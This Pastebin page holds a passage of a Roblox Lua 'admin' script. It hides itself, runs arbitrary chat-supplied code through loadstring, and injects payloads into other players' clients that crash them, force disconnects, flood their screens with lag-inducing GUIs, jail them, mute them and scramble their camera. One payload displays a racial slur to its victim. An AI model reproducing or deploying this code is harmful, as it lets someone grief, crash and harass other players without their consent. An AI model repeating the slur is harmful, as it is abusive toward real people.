Advertisement
Derek1017

Admin

Mar 24th, 2015
283
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 119.60 KB | None | 0 0
  1. --((Rare[Main{GLOBAL}Swagmin
  2. --[[
  3. Swagmin
  4. Lol global admin
  5. ]]
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17.  
  18. if script then
  19.     coroutine.yield()
  20.     script.Parent = nil
  21. end
  22. --[[Stuff]]--
  23. VR = _VERSION
  24. Plrs = game:GetService("Players")
  25. Work = game:GetService("Workspace")
  26. Light = game:GetService("Lighting")
  27. Net = game:GetService("NetworkServer")
  28. Removed = false
  29. Bet = "/"
  30. LS = nil
  31. LSSource = nil
  32. OwnSource = nil
  33. FoundLocalScript = false
  34. LogOn = false
  35. Current = game
  36. Clipboard = {}
  37. AlertColor = Color3.new(1, 0, 0)
  38. OptionColor = Color3.new(1, 0, 0)
  39. ImportantColor = Color3.new(1, 0, 0)
  40. --[[Ranks]]--
  41. RankDetails = {
  42.         [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Muted"},
  43.         [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Jailed"},
  44.         [-1] = {Name = "Just Banned", Color = Color3.new(1, 1, 1), Desc = "Banned forever"},
  45.         [0] = {Name = "Default", Color = Color3.new(0, 0, 1), Desc = "Defaults"},
  46.         [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Moderator"},
  47.         [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  48.         [3] = {Name = "Maximum Moderator", Color = Color3.new(1, 1, 0), Desc = "Maximum Moderator"},
  49.         [4] = {Name = "Super Adminstrator", Color = Color3.new(1, 2, 0), Desc = "Super Administrator)"},
  50.         [5] = {Name = "Maximum Adminstrator", Color = Color3.new(1, 0, 0), Desc = "Maximum Adminstrator"},
  51.        
  52. }
  53.  
  54. Rankings = {
  55.         {Name = "Derek1017", Rank = 5},
  56.         {Name = "Derek1017", Rank = 6}
  57.        
  58.        
  59.        
  60. }
  61.  
  62.  
  63. --[[End of Ranks]]--
  64. ImportantServices = {
  65.         "Workspace",
  66.         "Players",
  67.         "NetworkServer",
  68.         "Lighting",
  69.         "StarterGui",
  70.         "Teams",
  71.         "StarterPack",
  72. }
  73.  
  74. Ranks = {}
  75. Commands = {}
  76. AllTabs = {}
  77. Injected = {}
  78.  
  79. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  80. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  81. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  82. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  83. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  84. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  85. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  86. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  87. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  88. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  89. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  90. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  91. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  92. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  93. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  94. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  95. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  96. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  97. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  98. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  99. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  100. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  101. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  102. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  103. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  104. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  105. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  106. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  107. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  108. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  109. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  110. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  111. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  112. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  113. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  114. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  115. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  116. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  117. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  118. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  119. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  120. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  121. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  122. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  123. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  124. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  125. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  126. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  127. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  128. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  129. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  130. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  131. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  132. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  133. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  134. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  135. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  136. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  137. "X","Y"}
  138.  
  139. --Main Functions And Sources
  140.  
  141. function Insert(Source, Par, Par2, Par3)
  142.         ypcall(function()
  143.                 local Inserted = LS:Clone()
  144.                 Inserted.Disabled = true
  145.                 Inserted.Parent = Par or Par2 or Par3
  146.                 Inserted[LSSource].Value = Source
  147.                 Inserted.Disabled = false
  148.         end)
  149. end
  150.  
  151. function CheckImportant(Name)
  152.         for _,v in pairs(ImportantServices) do
  153.                 if v:lower() == Name:lower() then
  154.                         return true
  155.                 end
  156.         end
  157.         return false
  158. end
  159.  
  160. function Crash1(Plr)
  161.         ypcall(function()
  162.                 Plr:Kick()
  163.         end)
  164. end
  165.  
  166. function GetRankTab()
  167.         return Rankings
  168. end
  169.  
  170. function Crash2(Name)
  171.         local Crasher = Instance.new("StringValue")
  172.         Crasher.Name = "Client"
  173.         Crasher.Value = string.lower(tostring(Name))
  174.         Crasher.Parent = game:GetService("Lighting")
  175.         wait(1)
  176.         if Crasher and Crasher.Parent then
  177.                 ypcall(function()
  178.                         Crasher:Destroy()
  179.                 end)
  180.         end
  181. end
  182.  
  183. function Crash3(v, Speaker)
  184.         Speaker.Character.Archivable = true
  185.         local NChar = Speaker.Character:Clone()
  186.         NChar.Name = v.Name
  187.         NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  188.         NChar.Parent = Workspace
  189.         v.Character = NChar
  190.         coroutine.resume(coroutine.create(function()
  191.                 repeat v.Character = NChar
  192.                 wait(1/3) until false
  193.         end))
  194.         wait(.5)
  195.         Insert(InsertCrash, NChar, nil, nil)
  196. end
  197.  
  198. function GenerateDigit()
  199.         return 1 + 5
  200. end
  201.  
  202.  
  203. NilS = [==[
  204. if script then
  205.     coroutine.yield()
  206.     script.Parent = nil
  207. end
  208. Player=game.Players.LocalPlayer
  209. Probe=Instance.new'Part';
  210. CN='Kaj TabletsNil | ['..Player.Name..']'
  211. Camera=Workspace.CurrentCamera
  212. Animate = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Animate",true) or Instance.new("Part")
  213. Char = Player.Character
  214. if Char then
  215.         Char.Archivable = true
  216.         Char = Char:clone()
  217.         local t = game:GetService("InsertService"):LoadAsset(68452456):findFirstChild("Clone")
  218.         if t then
  219.                 for k,v in pairs(Char:GetChildren()) do
  220.                         if not v:IsA("Part") then
  221.                                 v:clone().Parent = t
  222.                         end
  223.                 end
  224.                 Char = t:clone()
  225.                 if Player.Name == "Cobalt1164" or Player.Name == "hipow12" then
  226.         local spot = Instance.new("SpotLight",Char.Head)
  227.         spot.Angle = 10
  228.         spot.Range = 10
  229.         spot.Color = Color3.new(1,1,1)
  230.         spot.Brightness = 10
  231.         local point = Instance.new("PointLight",Char.Head)
  232.         point.Range = 10
  233.         point.Color = Color3.new(1,1,1)
  234.         point.Brightness = 10
  235.         end
  236.         end
  237. end
  238.  
  239. coroutine.resume(coroutine.create(function()
  240.         while true do wait(0.00000001)
  241.                 pcall(function()
  242.                         if Character.Torso.CFrame.Y < 1 then
  243.                         Character.Torso.CFrame = CFrame.new(0,20,0)
  244.                         end
  245.                  end)
  246.         end
  247. end))
  248. Title=function(txt,part,color,rise)
  249.         col=nil
  250.         col=Color3.new(BrickColor.new(color))
  251.         local Gui = Instance.new("BillboardGui",part)
  252.         Gui.Name = "3DGUI"
  253.         Gui.ExtentsOffset = Vector3.new(0,2,0)
  254.         Gui.Size = UDim2.new(8,0,2,0)
  255.         local Tit = Instance.new("TextLabel",Gui)
  256.         Tit.Name = "Title"
  257.         Tit.TextColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  258.         Tit.TextColor3 = Color3.new(0,0,0)
  259.         Tit.TextTransparency = 0.25
  260.         Tit.TextStrokeColor3 = Color3.new(col.r/2,col.g/2,col.b/2)
  261.         Tit.TextStrokeTransparency = 0.5
  262.         Tit.Size = UDim2.new(1,0,1,0)
  263.         Tit.BackgroundTransparency = 1
  264.         Tit.Font = "ArialBold"
  265.         Tit.TextScaled = true
  266.         Tit.Text = txt
  267.         if rise then
  268.                 if not tonumber(rise) then rise = 1 end
  269.                 coroutine.wrap(function()
  270.                         while Tit.Parent and Gui.Parent and wait() do
  271.                                 Gui.ExtentsOffset = Gui.ExtentsOffset + Vector3.new(0,0.025*rise,0)
  272.                         end
  273.                 end)()
  274.         end
  275.         return Tit
  276. end
  277. Chat=function(Part,Text,Color,Type)
  278.         if Type==nil or Type==1 or Type=='Bubble' then
  279.                 game:service'Chat':Chat(Part,Text,Color)
  280.         else
  281.                 if type(Color)~='string' then        
  282.                         Color=tostring(BrickColor.random())
  283.                 end
  284.                 Title(Text,Part,Color,math.random(1,3))
  285.         end
  286. end
  287. DestroyCharacter=function()
  288.         local chara = Player.Character
  289.         if not chara then return end
  290.         if chara:findFirstChild("Humanoid") then
  291.                 chara.Humanoid:Destroy()
  292.         end
  293.         chara:BreakJoints()
  294.         for k,v in pairs(chara:GetChildren()) do
  295.                 if v:IsA("BasePart") then
  296.                         v.CanCollide = false
  297.                         v.Velocity = Vector3.new(math.random(-20,20),50,math.random(-20,20))
  298.                         v.RotVelocity = Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  299.                 end
  300.         end
  301.         game.Debris:AddItem(chara,3)
  302. end
  303. MakeProbe=function()
  304.         if Player.Character then DestroyCharacter() end Player.Character = nil
  305.         if Probe then Probe:Destroy() end
  306.         Probe = Instance.new("Part",workspace) local Camera = workspace.CurrentCamera
  307.         Probe.Shape, Probe.Size, Probe.BrickColor = "Ball", Vector3.new(3,3,3), BrickColor.new('Black')
  308.         Probe.Transparency, Probe.Reflectance, Probe.Anchored, Probe.CanCollide, Probe.Locked = 0.5, 0.25, true, false, true
  309.         Probe.TopSurface, Probe.BottomSurface, Probe.Name = 0, 0, "Probe"..tick()
  310.         coroutine.wrap(function() while wait() and not Player.Character do Probe.CFrame = Camera.Focus end end)()
  311.         Player.Character=Probe
  312. end
  313. Spawn=function()
  314.         if Char then
  315.                 local c = Char:clone()
  316.                 c.Name = CN
  317.                 c.Parent = workspace
  318.                 c:MoveTo(workspace.CurrentCamera.Focus.p)
  319.                 Player.Character = c
  320.                 workspace.CurrentCamera.CameraSubject = c:findFirstChild("Humanoid")
  321.                 workspace.CurrentCamera.CameraType = "Custom"
  322.                 Probe:Destroy()
  323.         end
  324. end
  325. Player.Chatted:connect(function(Msg)
  326. game:service'Chat':Chat(Player.Character.Head,Msg,'Green')
  327.         if Msg:sub(1,2) == '//' then
  328.                 local Func,Error=loadstring(Msg:sub(3))
  329.                 if Error==nil then
  330.                         pcall(Func)
  331.                         if Player.Character then
  332.                                 game:service'Chat':Chat(Player.Character.Head,'Local Script executed!','Green')
  333.                         end
  334.                 else
  335.                         if Player.Character then
  336.                                 game:service'Chat':Chat(Player.Character.Head,Error,'Red')
  337.                         else
  338.                                 local Msg=Instance.new'Message'
  339.                                 Msg.Parent=Workspace.CurrentCamera
  340.                                 Msg.Text=Error
  341.                                 game:service'Debris':AddItem(Msg,5)
  342.                         end
  343.                 end
  344.         elseif Msg:sub(1,#('newlocal')+2) == '/newlocal/' then
  345.                 NewMsg=Msg:sub(#('newlocal')+3)
  346.                 Split=NewMsg:find('/')
  347.                 local PlayerName=NewMsg:sub(1,Split-1)
  348.                 local Source=NewMsg:sub(Split+1)
  349.                 Player=nil
  350.                 for i,v in pairs(game.Players:GetPlayers()) do
  351.                         if v.Name:lower():sub(1,#PlayerName)==PlayerName then
  352.                                 if Player==nil then
  353.                                         Player=v
  354.                                 else
  355.                                         if type(Player) == 'table' then
  356.                                                 Player[#Player+1]=v
  357.                                         else
  358.                                                 Player={v}
  359.                                         end
  360.                                 end
  361.                         end
  362.                 end
  363.                 if type(Player)=='table' then
  364.                         for i,v in pairs(Player) do        
  365.                                 if newLocalScript then
  366.                                         newLocalScript(Source,v.Character)
  367.                                 else
  368.                                         Clone=script:clone();
  369.                                         SourceC=Clone:children()[1]
  370.                                         if SourceC:IsA'StringValue' then
  371.                                                 print'String'
  372.                                         else
  373.                                                 SourceC=Clone:children()[2]
  374.                                         end
  375.                                         SourceC.Value=Source
  376.                                         Clone.Disabled=true
  377.                                         Clone.Parent=v.Character
  378.                                         Clone.Disabled=false
  379.                                 end
  380.                         end
  381.                 else
  382.                         if newLocalScript then
  383.                                 newLocalScript(Source,Player.Character)
  384.                         else
  385.                                 Clone=script:clone();
  386.                                 DS=Clone:children()
  387.                                 DSS=nil
  388.                                 for i,v in pairs(DS) do if v:IsA'StringValue' then DSS=v end end
  389.                                 DSS.Value=Source
  390.                                 Clone.Disabled=true;
  391.                                 Clone.Parent=Player.Character
  392.                                 Clone.Disabled=false
  393.                         end
  394.                 end
  395.         elseif Msg:sub(1,#('rejoin')+2) == '/rejoin/' then
  396.                 game:service'TeleportService':Teleport(Game.PlaceId)
  397.         elseif Msg:sub(1,#('probe')+2) == '/probe/' then
  398.                 MakeProbe()
  399.         elseif Msg:sub(1,#('char')+2) =='/char/' then
  400.                 Spawn()
  401.         elseif Msg:sub(1,#('ban')+2) == '/ban/' then
  402.                 Player=game.Players:findFirstChild(Msg:sub(#('ban')+3))
  403.                 if Player then
  404.                         repeat pcall(function() game.Players[Player.Name]:Destroy() end) wait() until 1+1==3
  405.                 end
  406.         end
  407.         wait()
  408.         if game.Players:findFirstChild(Player.Name)==nil and not Msg:find('/probe/') and not Msg:find('/char/') then -- Is nil then
  409.                 if Probe then
  410.                         Chat(Probe,Msg,math.random(0,2))
  411.                 else        
  412.                         if Player.Character==nil then
  413.                                 if Char then
  414.                                         Chat(Char.Head,Msg,math.random(0,2))
  415.                                 end
  416.                         else
  417.                                 Chat(Player.Character.Head,Msg,'Red')
  418.                         end
  419.                 end
  420.         end
  421. end) -- local
  422. ]==]
  423.  
  424. InjectionCrash = [=[
  425.         wait(0)
  426.         script.Parent = nil
  427.         local Lig = game:GetService("Lighting")
  428.         local LP = game:GetService("Players").LocalPlayer
  429.         local LowerName = LP.Name:lower()
  430.  
  431.         Lig.ChildAdded:connect(function(Obj)
  432.                 if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  433.                         pcall(function()
  434.                                 Obj:Destroy()
  435.                         end)
  436.                         LP.Parent = nil
  437.                         LP.Parent = game:GetService("Players")
  438.                 end
  439.         end)
  440. ]=] RankDetails[GenerateDigit()] = {Name = ('Owner, Main Developer'), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("Yeah, rank 6.")}
  441.  
  442. InsertCrash = [==[
  443.         local LP = game:GetService("Players").LocalPlayer
  444.         LP.Parent = nil
  445.         LP.Parent = game:GetService("Players")
  446. ]==]
  447.  
  448. LagSource = [==[
  449.         wait(0)
  450.         script.Parent = nil
  451.         plr = game:GetService("Players").LocalPlayer
  452.         local plrgui = plr:findFirstChild("PlayerGui")
  453.         if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  454.         while plr.Parent == game:GetService("Players") do
  455.         wait()
  456.         for i = 1, 1000 do
  457.         local sc = Instance.new("ScreenGui",plrgui)
  458.         local fr = Instance.new("TextLabel",sc)
  459.         fr.Text = "LAGGING"
  460.         fr.Size = UDim2.new(1, 0, 1, 0)
  461.         fr.FontSize = "Size48"
  462.         end
  463.         end
  464. ]==]
  465.  
  466. MuteSource = [==[
  467.         game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  468. ]==]
  469.  
  470. UnMuteSource = [==[
  471.         game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)
  472. ]==]
  473.  
  474. FunScript = [[
  475. LP = game:service'Players'.LocalPlayer
  476. Shapes = {"Ball", "Block"}
  477. wait()
  478. script.Parent = nil
  479. Delay(0, function()
  480. while wait() do
  481. workspace.CurrentCamera.CameraType = "Scriptable"
  482. workspace.CurrentCamera.FieldOfView = workspace.CurrentCamera.FieldOfView + math.random(-5,5)
  483. workspace.CurrentCamera:SetRoll(workspace.CurrentCamera:GetRoll()+0.075)
  484. workspace.CurrentCamera.CoordinateFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-2,2),math.random(-2,2),math.random(-2,2))
  485. local Part = Instance.new("Part", workspace.CurrentCamera)
  486. Part.Shape = Shapes[math.random(1, 2)]
  487. Part.Anchored = true
  488. Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  489. Part.Size = Vector3.new(math.random(5,10),math.random(-25,25),math.random(5,10))
  490. Part.CFrame = workspace.CurrentCamera.CoordinateFrame * CFrame.new(math.random(-250,250),math.random(-100,100),math.random(-250,250)) * CFrame.Angles(math.random(),math.random(),math.random())
  491. local Smoke = Instance.new("Smoke", Part)
  492. Smoke.Color = Color3.new(math.random(), math.random(), math.random())
  493. Smoke.Opacity = 0.7
  494. local Sparkles = Instance.new("Sparkles", Part)
  495. Sparkles.SparkleColor = Color3.new(math.random(), math.random(), math.random())
  496. local Fire = Instance.new("Fire", Part)
  497. Fire.Color = Color3.new(math.random(), math.random(), math.random())
  498. Fire.SecondaryColor = Color3.new(math.random(), math.random(), math.random())
  499. local Ex = Instance.new("Explosion", workspace.CurrentCamera)
  500. Ex.Position = Vector3.new(math.random(-250,250),math.random(10,100),math.random(-250,250))
  501. Ex.BlastPressure = 15
  502. Ex.BlastRadius = 12.5
  503. if not workspace.CurrentCamera:findFirstChild("Hint") then
  504. local mes = Instance.new("Hint", workspace.CurrentCamera)
  505. mes.Text = "OMG STOP FUCKING WITH MY SHIT YOU STUPID NIGGA"
  506. end
  507. end
  508. end)
  509. ]]
  510.  
  511. JailSource = [==[
  512.         wait(0)
  513.         script.Parent = nil
  514.  
  515.         local LP = game:GetService("Players").LocalPlayer
  516.         Middle2 = nil
  517.         Middle = nil
  518.         game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  519.  
  520.         Cons = {}
  521.  
  522.         function makePrison()
  523.                 for _,v in pairs(Cons) do
  524.                         v:disconnect()
  525.                 end
  526.                 game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  527.                 if Middle == nil then
  528.                         Middle2 = LP.Character.Torso.Position
  529.                         Middle = LP.Character.Torso.CFrame
  530.                 end
  531.                 local side1 = Instance.new("Part")
  532.                 side1.Name = "¬Focus1¬"
  533.                 side1.Size = Vector3.new(20, 50, 1)
  534.                 side1.CFrame = Middle * CFrame.new(0, 0, -10)
  535.                 side1.BrickColor = BrickColor.new("Really black")
  536.                 side1.CanCollide = true
  537.                 side1.Anchored = true
  538.                 side1.TopSurface = "Smooth"
  539.                 side1.BottomSurface = "Smooth"
  540.                 side1.Parent = game:GetService("Workspace").CurrentCamera
  541.  
  542.                 local side2 = Instance.new("Part")
  543.                 side2.Name = "¬Focus2¬"
  544.                 side2.Size = Vector3.new(20, 50, 1)
  545.                 side2.CFrame = Middle * CFrame.new(0, 0, 10)
  546.                 side2.BrickColor = BrickColor.new("Really black")
  547.                 side2.CanCollide = true
  548.                 side2.Anchored = true
  549.                 side2.TopSurface = "Smooth"
  550.                 side2.BottomSurface = "Smooth"
  551.                 side2.Parent = game:GetService("Workspace").CurrentCamera
  552.  
  553.                 local side3 = Instance.new("Part")
  554.                 side3.Name = "¬Focus3¬"
  555.                 side3.Size = Vector3.new(1, 50, 20)
  556.                 side3.CFrame = Middle * CFrame.new(10, 0, 0)
  557.                 side3.BrickColor = BrickColor.new("Really black")
  558.                 side3.CanCollide = true
  559.                 side3.Anchored = true
  560.                 side3.TopSurface = "Smooth"
  561.                 side3.BottomSurface = "Smooth"
  562.                 side3.Parent = game:GetService("Workspace").CurrentCamera
  563.  
  564.                 local side4 = Instance.new("Part")
  565.                 side4.Name = "¬Focus4¬"
  566.                 side4.Size = Vector3.new(1, 50, 20)
  567.                 side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  568.                 side4.BrickColor = BrickColor.new("Really black")
  569.                 side4.CanCollide = true
  570.                 side4.Anchored = true
  571.                 side4.TopSurface = "Smooth"
  572.                 side4.BottomSurface = "Smooth"
  573.                 side4.Parent = game:GetService("Workspace").CurrentCamera
  574.                
  575.                 local side5 = Instance.new("Part")
  576.                 side5.Name = "¬Focus5¬"
  577.                 side5.Size = Vector3.new(20, 1, 20)
  578.                 side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  579.                 side5.BrickColor = BrickColor.new("Really black")
  580.                 side5.CanCollide = true
  581.                 side5.Anchored = true
  582.                 side5.TopSurface = "Smooth"
  583.                 side5.BottomSurface = "Smooth"
  584.                 side5.Parent = game:GetService("Workspace").CurrentCamera
  585.                
  586.                 wait(0)
  587.  
  588.                 table.insert(Cons, side1.Changed:connect(makePrison))
  589.                 table.insert(Cons, side2.Changed:connect(makePrison))
  590.                 table.insert(Cons, side3.Changed:connect(makePrison))
  591.                 table.insert(Cons, side4.Changed:connect(makePrison))
  592.                 table.insert(Cons, side5.Changed:connect(makePrison))
  593.         end
  594.  
  595.         Delay(0, function()
  596.                 while wait(0) do
  597.                         ypcall(function()
  598.                                 if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  599.                                         LP.Character:BreakJoints()
  600.                                 elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  601.                                         makePrison()
  602.                                 end
  603.                         end)
  604.                         ypcall(function()
  605.                                 if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  606.                                         LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  607.                                 end
  608.                         end)
  609.                 end
  610.         end)
  611. ]==]
  612.  
  613. function All()
  614.         local AllPlayers = {}
  615.         for _,v in pairs(Plrs:GetPlayers()) do
  616.                 ypcall(function()
  617.                         table.insert(AllPlayers, v)
  618.                 end)
  619.         end
  620.         return AllPlayers
  621. end
  622.  
  623. function All2()
  624.         local AllPlayers2 = {}
  625.         for i,v in pairs(Net:GetChildren()) do
  626.                 ypcall(function()
  627.                         if v:IsA("ServerReplicator") then
  628.                                 table.insert(AllPlayers2, v:GetPlayer())
  629.                         end
  630.                 end)
  631.         end
  632.         return AllPlayers2
  633. end
  634.  
  635. function MakeNum()
  636.         return 2 + 4
  637. end
  638.  
  639. function ChangeRank(Plr, NewRank)
  640.         local PlrName = nil
  641.         local FoundPlayer = false
  642.         ypcall(function()
  643.                 if type(Plr) == "string" then
  644.                         ypcall(function()
  645.                                 for i,v in pairs(Rankings) do
  646.                                         if v.Name:lower() == Plr:lower() then
  647.                                                 local VName = v.Name
  648.                                                 Rankings[i] = nil
  649.                                                 table.insert(Rankings, {Name = VName, Rank = NewRank})
  650.                                                 PlrName = VName
  651.                                                 FoundPlayer = true
  652.                                                 break
  653.                                         end
  654.                                 end
  655.                         end)
  656.                         if FoundPlayer == false then
  657.                                 ypcall(function()
  658.                                         for _,x in pairs(All()) do
  659.                                                 if x.Name:lower() == Plr:lower() then
  660.                                                         FoundPlayer = true
  661.                                                         for i,v in pairs(Rankings) do
  662.                                                                 if v.Name:lower() == x.Name:lower() then
  663.                                                                         local VName = x.Name
  664.                                                                         Rankings[i] = nil
  665.                                                                         PlrName = VName
  666.                                                                         break
  667.                                                                 end
  668.                                                         end
  669.                                                         table.insert(Rankings, {Name = VName, Rank = NewRank})
  670.                                                 end
  671.                                         end
  672.                                 end)
  673.                         end
  674.                         if FoundPlayer == false then
  675.                                 ypcall(function()
  676.                                         for _,x in pairs(All()) do
  677.                                                 if string.find(x.Name:lower(), Plr:lower()) then
  678.                                                         FoundPlayer = true
  679.                                                         for i,v in pairs(Rankings) do
  680.                                                                 if v.Name:lower() == x.Name:lower() then
  681.                                                                         local VName = x.Name
  682.                                                                         Rankings[i] = nil
  683.                                                                         PlrName = VName
  684.                                                                         break
  685.                                                                 end
  686.                                                         end
  687.                                                         table.insert(Rankings, {Name = VName, Rank = NewRank})
  688.                                                 end
  689.                                         end
  690.                                 end)
  691.                         end
  692.                         if FoundPlayer == false then
  693.                                 ypcall(function()
  694.                                         for i,v in pairs(Rankings) do
  695.                                                 if string.find(v.Name:lower(), Plr:lower()) then
  696.                                                         local VName = v.Name
  697.                                                         Rankings[i] = nil
  698.                                                         table.insert(Rankings, {Name = VName, Rank = NewRank})
  699.                                                         PlrName = VName
  700.                                                         FoundPlayer = true
  701.                                                         break
  702.                                                 end
  703.                                         end
  704.                                 end)
  705.                         end
  706.                 else
  707.                         for i,v in pairs(Rankings) do
  708.                                 if v.Name:lower() == Plr.Name:lower() then
  709.                                         Rankings[i] = nil
  710.                                         break
  711.                                 end
  712.                         end
  713.                         table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  714.                         PlrName = Plr.Name
  715.                 end
  716.                 PlaceAllRanks(true)
  717.         end)
  718.         if PlrName ~= nil then
  719.                 return PlrName
  720.         else
  721.                 return "Player"
  722.         end
  723. end
  724.  
  725. function Refresh(Plr)
  726.         MakeChildren(Plr)
  727. end
  728.  
  729. function MakeChildren(Plr)
  730.         ypcall(function()
  731.                 Dismiss(Plr)
  732.                 for _,v in pairs(Current:GetChildren()) do
  733.                         ypcall(function()
